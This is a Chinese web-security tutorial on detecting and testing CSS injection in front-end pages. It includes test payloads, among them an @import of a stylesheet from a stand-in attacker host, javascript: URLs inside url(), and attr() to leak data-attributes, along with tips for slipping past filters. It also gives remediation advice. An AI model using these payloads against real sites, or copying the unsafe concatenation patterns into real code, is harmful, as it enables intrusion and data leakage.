CSS注入漏洞本质是将用户可控内容未转义直接拼入style标签、style属性或CSS文件,通过@import、url()、attr()等触发JS执行或信息泄露;关键判断点是前端是否把不可信数据当CSS代码使用。

怎么判断CSS是否被不安全地拼接到页面里
CSS注入漏洞本质是把用户可控内容(比如URL参数、表单值、API返回字段)直接插入到
检查
打开浏览器开发者工具,切换到Elements面板,逐个检查:<style>标签内容、所有带style=的HTML元素、以及动态生成的<link rel="stylesheet">的href值。重点看里面是否包含类似background-image: url("javascript:alert(1)")、@import url('data:text/css;base64,...')、或content: "xxx"中的xxx来自URL参数(如?theme=red)。如果看到url()、@import、expression()(IE旧版)、calc()里嵌套了用户输入,风险极高。
- 常见危险模式:
element.style.backgroundImage = 'url("' + userInput + '")' - 更隐蔽的:
document.querySelector('style').textContent += '.user-theme { color: ' + colorInput + '; }' - 注意大小写和空格绕过:
uRl、javascript:、back\ground-image可能绕过简单过滤
测试CSS注入Payload是否生效
在疑似输入点(如主题色选择框、自定义CSS文本域、URL参数?css=...)提交以下典型载荷,观察页面是否触发行为:
-
test"; @import "https://attacker.com/x.css"→ 检查是否发起外部请求 -
test"; background-image: url("javascript:alert(1)")→ 看是否弹窗(Chrome已禁用,但旧版IE/Edge可能触发) -
test"; content: "leaked:" attr(data-secret)→ 若页面有data-secret="abc",检查是否显示在伪元素中 -
test"; font-family: "x", local("foo"), url("data:font/woff;base64,...")→ 测试data:URI解析
用Console手动执行getComputedStyle(document.body).content或检查Network面板是否有意外请求,比单纯看DOM更可靠。
立即学习“前端免费学习笔记(深入)”;
为什么现代框架也不能完全免疫
React/Vue默认对style属性做字符串插值时**不会自动CSS转义**,只做HTML实体编码。例如<div :style="{ backgroundImage: `url(${userInput})` }">,若userInput是javascript:alert(1),依然会渲染成style="background-image: url(javascript:alert(1))"。同理,dangerouslySetInnerHTML或v-html配合CSS字符串也一样危险。真正安全的做法是:对CSS值做白名单校验(如颜色只允许#RGB、rgb()、预设关键词),或使用CSS-in-JS库(如Emotion)的自动转义机制。
CSS注入常被忽略,因为它不像XSS那样显眼弹窗,但能读取DOM结构、窃取CSS变量、诱导点击、甚至配合SSRF外泄内网信息——尤其当页面含敏感data-属性时,attr()函数就是一把钥匙。



















